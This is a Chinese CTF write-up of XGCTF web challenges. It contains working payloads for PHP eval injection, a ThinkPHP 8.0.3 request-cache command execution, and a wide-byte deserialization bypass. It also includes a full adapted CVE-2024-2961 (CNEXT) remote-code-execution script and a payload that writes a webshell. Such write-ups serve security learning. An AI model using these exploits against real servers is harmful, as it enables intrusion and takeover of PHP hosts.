目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. CodeInject
    2. 2.2. tpdoor(复现)
    3. 2.3. easy_polluted
    4. 2.4. Ezzz_php
      1. 2.4.1. 宽字节漏洞
      2. 2.4.2. CVE-2024-2961
    5. 2.5. NewerFileDetector(Unsolved)
    6. 2.6. SendMessage(Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

XGCTF西瓜杯

2024/7/6 CTF线上赛 CVE RCE PHP ThinkPHP ctfshow
  |     |   总文章阅读量:

前言

web和pwn最分不开的一集

官方wp:https://docs.qq.com/doc/DRmVUb1lOdmFMYmx1

草,一个最新最热cve分别出了一个web题和一个pwn题


Web

CodeInject

<?php

#Author: h1xa

error_reporting(0);
show_source(__FILE__);

eval("var_dump((Object)$_POST[1]);"); 

eval命令注入,直接闭合前面的代码即可

payload:

111)?><?php system('ls /'

image-20240706185318017


tpdoor(复现)

thinkphp8

tp框架,只给了个index.php

<?php

namespace app\controller;

use app\BaseController;
use think\facade\Db;

class Index extends BaseController
{
    protected $middleware = ['think\middleware\AllowCrossDomain','think\middleware\CheckRequestCache','think\middleware\LoadLangPack','think\middleware\SessionInit'];
    public function index($isCache = false , $cacheTime = 3600)
    {
        
        if($isCache == true){
            $config = require  __DIR__.'/../../config/route.php';
            $config['request_cache_key'] = $isCache;
            $config['request_cache_expire'] = intval($cacheTime);
            $config['request_cache_except'] = [];
            file_put_contents(__DIR__.'/../../config/route.php', '<?php return '. var_export($config, true). ';');
            return 'cache is enabled';
        }else{
            return 'Welcome ,cache is disabled';
        }
    }



}

目的应该是要控制file_put_contents写入文件,而这里的逻辑只是更新了一次config下的router.php,嗯?

弄了个不存在的路由报错,得知版本是tp8.0.3

官方文档里是这么描述的:https://doc.thinkphp.cn/v8_0/request_cache.html

image-20240707220747986

config/route.php下的描述:

// 是否开启请求缓存 true自动缓存 支持设置请求缓存规则
'request_cache_key'     => false,

看不懂,啥叫支持设置请求缓存规则,我们看看官方怎么支持的,直接翻对应的中间件

/vendor/topthink/framework/src/think/middleware/CheckRequestCache.php

/**
 * 读取当前地址的请求缓存信息
 * @access protected
 * @param Request $request
 * @param mixed   $key
 * @return null|string
 */
protected function parseCacheKey($request, $key)
{
    if ($key instanceof Closure) {
        $key = call_user_func($key, $request);
    }

    if (false === $key) {
        // 关闭当前缓存
        return;
    }

    if (true === $key) {
        // 自动缓存功能
        $key = '__URL__';
    } elseif (str_contains($key, '|')) {
        [$key, $fun] = explode('|', $key);
    }

    // 特殊规则替换
    if (str_contains($key, '__')) {
        $key = str_replace(['__CONTROLLER__', '__ACTION__', '__URL__'], [$request->controller(), $request->action(), md5($request->url(true))], $key);
    }

    if (str_contains($key, ':')) {
        $param = $request->param();

        foreach ($param as $item => $val) {
            if (is_string($val) && str_contains($key, ':' . $item)) {
                $key = str_replace(':' . $item, (string) $val, $key);
            }
        }
    } elseif (str_contains($key, ']')) {
        if ('[' . $request->ext() . ']' == $key) {
            // 缓存某个后缀的请求
            $key = md5($request->url());
        } else {
            return;
        }
    }

    if (isset($fun)) {
        $key = $fun($key);
    }

    return $key;
}

image-20240707221047385

发现最底下$key = $fun($key)这两个参数没做过滤直接裸奔了

然后 $key 对应的就是上面配置选项的键值,而 $fun 是从下面这段来的

elseif (str_contains($key, '|')) {
          [$key, $fun] = explode('|', $key);
      }

即键值以|分隔符,前面的为$key,后面的为$fun

那么就有payload了

?isCache=ls /|system

执行两次,第一次写入配置,第二次就能回显结果了

image-20240707221607769

注意写入配置是一次性的操作,想要再次执行其他命令就得重启靶机,除非弹shell

?isCache=cat /000f1ag.txt|system

easy_polluted

前有污染,竟然是原题!

见:https://c1oudfl0w0.github.io/blog/2024/06/23/CISCN%E7%AC%AC%E5%8D%81%E4%B8%83%E5%B1%8A%E5%85%A8%E5%9B%BD%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B-%E5%88%9B%E6%96%B0%E5%AE%9E%E8%B7%B5%E8%83%BD%E5%8A%9B%E8%B5%9B-%E5%8D%8E%E4%B8%9C%E5%8D%97%E8%B5%9B%E5%8C%BA/#Polluted


Ezzz_php

mb_strpos与mb_substr执行差异 + CVE-2024-2961

<?php 
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
    public $start;
    public $filename="/etc/passwd";
    public function __construct($start){
        $this->start=$start;
    }
    public function __destruct(){
        if($this->start == "gxngxngxn"){
           echo 'What you are reading is:'.file_get_contents($this->filename);
        }
    }
}
if(isset($_GET['start'])){
    $readfile = new read_file($_GET['start']);
    $read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
    if(preg_match("/\[|\]/i", $_GET['read'])){
        die("NONONO!!!");
    }
    $ctf = substrstr($read."[".serialize($readfile)."]");
    unserialize($ctf);
}else{
    echo "Start_Funny_CTF!!!";
}

稍微审一下,可以知道我们需要控制$read."[".serialize($readfile)."]",然后在后面的反序列化中覆盖$filename

先本地起一个环境测试一下

image-20240706192755440

那么问题很明显在怎么绕过substrstr的截取,因为read有正则过滤所以不能直接输入[]

问题不大,我们可以直接在start这里输入[],这样构造出来的序列化字符串里面就有中括号,因为[一定是在开头处,那么我们要控制的就是]的位置

image-20240706193559961

我们要构造:

gxngxngxn";s:8:"filename";s:5:"/flag";}

但是这样子明显不行,这之间没有字符的差距

image-20240706194328071

宽字节漏洞

这个时候突然想起来mb_strposmb_substr执行差异产生的宽字节漏洞

image-20240706211046282

成功控制前面的部分,那就可以直接把前面多余的部分全部用%f0%9f覆盖掉即可,每次可以覆盖掉两个字母

image-20240706212236113

本地测试成功,注意我的start开头是多了个字符进行配平成2的倍数的

那么payload:

?start=aO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:11:"/etc/passwd";}&read=%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9f

接下来的问题就是找flag,测试发现php://input用不了,环境变量也删了

CVE-2024-2961

尝试打CVE-2024-2961,此事在我的CVE-2024-2961复现中亦有记载

自己改exp:

from __future__ import annotations

import base64
import zlib
from dataclasses import dataclass

from pwn import *
from requests.exceptions import ChunkedEncodingError, ConnectionError
from ten import *


HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")


class Remote:
    def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()

    def send(self, path: str) -> Response:
        path_length = len(path)
        params1=f"?start=O:9:%22read_file%22:2:%7Bs:5:%22start%22;s:9:%22gxngxngxn%22;s:8:%22filename%22;s:{path_length}:%22{path}%22;%7D'"
        params2="&read=%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9f"
        url=self.url+params1+params2
        response = self.session.get(url)
        # for key, value in params.items():
        #     print(f"{key}: {value}")
        #print(response.text)
        print(path)
        print(len(path))
        return response        
    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        data = response.re.search(b"What you are reading is:(.*)", flags=re.S).group(1)
        # print(data)
        return base64.decode(data)

@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep_time", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
    "pad",
    "Number of 0x100 chunks to pad with. If the website makes a lot of heap "
    "operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
    """CNEXT exploit: RCE using a file read primitive in PHP."""

    url: str
    command: str
    sleep: int = 1
    heap: str = None
    pad: int = 20

    def __post_init__(self):
        self.remote = Remote(self.url)
        self.log = logger("EXPLOIT")
        self.info = {}
        self.heap = self.heap and int(self.heap, 16)

    def check_vulnerable(self) -> None:
        def safe_download(path: str) -> bytes:
            try:
                return self.remote.download(path)
            except ConnectionError:
                failure("Target not [b]reachable[/] ?")
            

        def check_token(text: str, path: str) -> bool:
            result = safe_download(path)
            return text.encode() == result

        text = tf.random.string(50).encode()
        base64 = b64(text, misalign=True).decode()
        path = f"data:text/plain;base64,{base64}"
        
        result = safe_download(path)
        
        if text not in result:
            msg_failure("Remote.download did not return the test string")
            print("--------------------")
            print(f"Expected test string: {text}")
            print(f"Got: {result}")
            print("--------------------")
            failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

        msg_info("The [i]data://[/] wrapper works")

        text = tf.random.string(50)
        base64 = b64(text.encode(), misalign=True).decode()
        path = f"php://filter//resource=data:text/plain;base64,{base64}"
        if not check_token(text, path):
            failure("The [i]php://filter/[/] wrapper does not work")

        msg_info("The [i]php://filter/[/] wrapper works")

        text = tf.random.string(50)
        base64 = b64(compress(text.encode()), misalign=True).decode()
        path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

        if not check_token(text, path):
            failure("The [i]zlib[/] extension is not enabled")

        msg_info("The [i]zlib[/] extension is enabled")

        msg_success("Exploit preconditions are satisfied")

    def get_file(self, path: str) -> bytes:
        with msg_status(f"Downloading [i]{path}[/]..."):
            return self.remote.download(path)

    def get_regions(self) -> list[Region]:
        """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
        maps = self.get_file("/proc/self/maps")
        maps = maps.decode()
        PATTERN = re.compile(
            r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
        )
        regions = []
        for region in table.split(maps, strip=True):
            if match := PATTERN.match(region):
                start = int(match.group(1), 16)
                stop = int(match.group(2), 16)
                permissions = match.group(3)
                path = match.group(4)
                if "/" in path or "[" in path:
                    path = path.rsplit(" ", 1)[-1]
                else:
                    path = ""
                current = Region(start, stop, permissions, path)
                regions.append(current)
            else:
                print(maps)
                failure("Unable to parse memory mappings")

        self.log.info(f"Got {len(regions)} memory regions")

        return regions

    def get_symbols_and_addresses(self) -> None:
        regions = self.get_regions()

        LIBC_FILE = "/dev/shm/cnext-libc"

        # PHP's heap

        self.info["heap"] = self.heap or self.find_main_heap(regions)

        # Libc

        libc = self._get_region(regions, "libc-", "libc.so")

        self.download_file(libc.path, LIBC_FILE)

        self.info["libc"] = ELF(LIBC_FILE, checksec=False)
        self.info["libc"].address = libc.start

    def _get_region(self, regions: list[Region], *names: str) -> Region:
        for region in regions:
            if any(name in region.path for name in names):
                break
        else:
            failure("Unable to locate region")

        return region

    def download_file(self, remote_path: str, local_path: str) -> None:
        data = self.get_file(remote_path)
        Path(local_path).write(data)

    def find_main_heap(self, regions: list[Region]) -> Region:
        heaps = [
            region.stop - HEAP_SIZE + 0x40
            for region in reversed(regions)
            if region.permissions == "rw-p"
            and region.size >= HEAP_SIZE
            and region.stop & (HEAP_SIZE-1) == 0
            and region.path == ""
        ]

        if not heaps:
            failure("Unable to find PHP's main heap in memory")

        first = heaps[0]

        if len(heaps) > 1:
            heaps = ", ".join(map(hex, heaps))
            msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
        else:
            msg_info(f"Using [i]{hex(first)}[/] as heap")

        return first

    def run(self) -> None:
        self.check_vulnerable()
        self.get_symbols_and_addresses()
        self.exploit()

    def build_exploit_path(self) -> str:
        LIBC = self.info["libc"]
        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
        ADDR_EFREE = LIBC.symbols["__libc_system"]
        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

        ADDR_HEAP = self.info["heap"]
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

        CS = 0x100

        # Pad needs to stay at size 0x100 at every step
        pad_size = CS - 0x18
        pad = b"\x00" * pad_size
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = compressed_bucket(pad)

        step1_size = 1
        step1 = b"\x00" * step1_size
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1, CS)
        step1 = compressed_bucket(step1)

        step2_size = 0x48
        step2 = b"\x00" * (step2_size + 8)
        step2 = chunked_chunk(step2, CS)
        step2 = chunked_chunk(step2)
        step2 = compressed_bucket(step2)

        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
        step2_write_ptr = chunked_chunk(step2_write_ptr)
        step2_write_ptr = compressed_bucket(step2_write_ptr)

        step3_size = CS

        step3 = b"\x00" * step3_size
        assert len(step3) == CS
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = compressed_bucket(step3)

        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
        assert len(step3_overflow) == CS
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = compressed_bucket(step3_overflow)

        step4_size = CS
        step4 = b"=00" + b"\x00" * (step4_size - 1)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = compressed_bucket(step4)

        step4_pwn = ptr_bucket(
            0x200000,
            0,
            # free_slot
            0,
            0,
            ADDR_CUSTOM_HEAP,  # 0x18
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            ADDR_HEAP,  # 0x140
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            size=CS,
        )

        step4_custom_heap = ptr_bucket(
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
        )

        step4_use_custom_heap_size = 0x140

        COMMAND = self.command
        COMMAND = f"kill -9 $PPID; {COMMAND}"
        if self.sleep:
            COMMAND = f"sleep {self.sleep}; {COMMAND}"
        COMMAND = COMMAND.encode() + b"\x00"

        assert (
            len(COMMAND) <= step4_use_custom_heap_size
        ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

        step4_use_custom_heap = COMMAND
        step4_use_custom_heap = qpe(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

        pages = (
            step4 * 3
            + step4_pwn
            + step4_custom_heap
            + step4_use_custom_heap
            + step3_overflow
            + pad * self.pad
            + step1 * 3
            + step2_write_ptr
            + step2 * 2
        )

        resource = compress(compress(pages))
        resource = b64(resource)
        resource = f"data:text/plain;base64,{resource.decode()}"

        filters = [
            "zlib.inflate",
            "zlib.inflate",
            
            "dechunk",
            "convert.iconv.latin1.latin1",
            
            "dechunk",
            "convert.iconv.latin1.latin1",
            
            "dechunk",
            "convert.iconv.latin1.latin1",
            
            "dechunk",
            "convert.iconv.UTF-8.ISO-2022-CN-EXT",
            
            "convert.quoted-printable-decode",
            "convert.iconv.latin1.latin1",
        ]
        filters = "|".join(filters)
        path = f"php://filter/read={filters}/resource={resource}"

        return path

    @inform("Triggering...")
    def exploit(self) -> None:
        path = self.build_exploit_path()
        start = time.time()

        try:
            self.remote.send(path)
        except (ConnectionError, ChunkedEncodingError):
            pass
        
        msg_print()
        
        if not self.sleep:
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
        elif start + self.sleep <= time.time():
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
        else:
            msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
        
        msg_print()


def compress(data) -> bytes:
    """Returns data suitable for `zlib.inflate`.
    """
    return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
    payload = base64.encode(data)
    if not misalign and payload.endswith("="):
        raise ValueError(f"Misaligned: {data}")
    return payload.encode()


def compressed_bucket(data: bytes) -> bytes:
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
    return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
    """Emulates quoted-printable-encode.
    """
    return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
    """Constructs a chunked representation of the given chunk. If size is given, the
    chunked representation has size `size`.
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
    """
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"


@dataclass
class Region:
    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self) -> int:
        return self.stop - self.start
Exploit()

image-20240707121510526

执行失败是因为read的宽字节注入没配平

image-20240707121556868

自己测试到配成O:开头为止,然后打入最后的payload(需要url编码):

?start=aO%3A9%3A%22read%5Ffile%22%3A2%3A%7Bs%3A5%3A%22start%22%3Bs%3A9%3A%22gxngxngxn%22%3Bs%3A8%3A%22filename%22%3Bs%3A1036%3A%22php%3A%2F%2Ffilter%2Fread%3Dzlib%2Einflate%7Czlib%2Einflate%7Cdechunk%7Cconvert%2Eiconv%2Elatin1%2Elatin1%7Cdechunk%7Cconvert%2Eiconv%2Elatin1%2Elatin1%7Cdechunk%7Cconvert%2Eiconv%2Elatin1%2Elatin1%7Cdechunk%7Cconvert%2Eiconv%2EUTF%2D8%2EISO%2D2022%2DCN%2DEXT%7Cconvert%2Equoted%2Dprintable%2Ddecode%7Cconvert%2Eiconv%2Elatin1%2Elatin1%2Fresource%3Ddata%3Atext%2Fplain%3Bbase64%2Ce3vXt%2B%2BNiQhbQP%2F7lrUWoS9fXVFgvvf6evI0B5ZzZjMMksp1mmoLZJsnJLRc8bD5KRN5v3f13Z8rs6%2BabGViwAsMWlMtH2ltX33FcPX2G9m6xd0pzfg1MPgkRfbtOPVWq%2FTMK91vUafvKN1UIKBjcsQ05XVFu71kN1d1771mtN3DjIOAFU%2F35RROrZpqlbb1m%2FmB74Wr62Vqfvwou%2F16k%2F2nH7X10d%2Buf%2F%2F%2Fymlyz1ev%2B8%2FZez3q5Ag44Mf%2B6isvnqZKp565pvvt%2B6780vrq29NTwebsvWYX9%2Brfj037bf%2F%2Fq9S7N%2B9%2FjPzJ7Tz4jft%2F6u%2Fx16xPvsuvF59wv15is3zWm%2FXf%2F36srN%2Fz5WPU9%2Bi770%2FX%2Fb%2FCLzf%2F2%2FHPv14%2Ft9u79%2B3356Ubvm2f8jxi%2Fu9d%2F3ZanJ%2Bw%2FNa347%2B3PivdX3%2Fv%2Ffvff9fON7N%2F%2F%2FPNe7N6m3Wmt%2Buqv%2F1%2Fm73vy9e%2Fl%2BKr9vV93vOn8qV%2B%2FdyFUm0fr3c8ec6L33UJUqc3HQ19FfpqxlWp1LT9fz8Vq9xmxq%2Bl4aGNUvLZjLXHxVKFJn6RH1U8qnhUMZ0VJ1R5rzW8%2FFjvceb8xTqBSjfZCJRpl6OzemfKlUv6%2F5ZJ7RQ6aUZA%2BYx7Qdlnvuw4XXHruYb3FI9tjPiVH9gybdfR0Kwa3%2B1%2FJ22XfupcE77v%2F7Pr8706OW4T0JkQ5X33kZbpvmW361YG2kW43OAj5JGoV2LhKz%2Ba3v3m3fvpoNKjcgA%3D%22%3B%7D&read=%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9fAA%f0%9f

image-20240707121700296

成功写入shell.php,接下来用同样的方式写马即可(注意反斜杠转义$

image-20240707125336463

image-20240707125857528

image-20240707125509231

image-20240707125456189

官方的exp,处理字符串逃逸的部分写得比我好(

def send(self, path: str) -> Response:
    """Sends given `path` to the HTTP server. Returns the response.
    """
    payload_file = 'O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:' + str(len(path)) + ':"' + path + '";}'
    payload = "%9f" * (len(payload_file) + 1) + payload_file.replace("+","%2b")
    filename_len = "a" * (len(path) + 10)
    url = self.url+f"?start={filename_len}&read={payload}"
    return self.session.get(url)

def download(self, path: str) -> bytes:
    """Returns the contents of a remote file.
    """
    path = f"php://filter/convert.base64-encode/resource={path}"
    response = self.send(path)
    data = response.re.search(b"What you are reading is:(.*)", flags=re.S).group(1)
    return base64.decode(data)

NewerFileDetector(Unsolved)

xss


SendMessage(Unsolved)

php在处理共享内存跨进程通讯时,如果内存里面的内容可控,会直接触发反序列化操作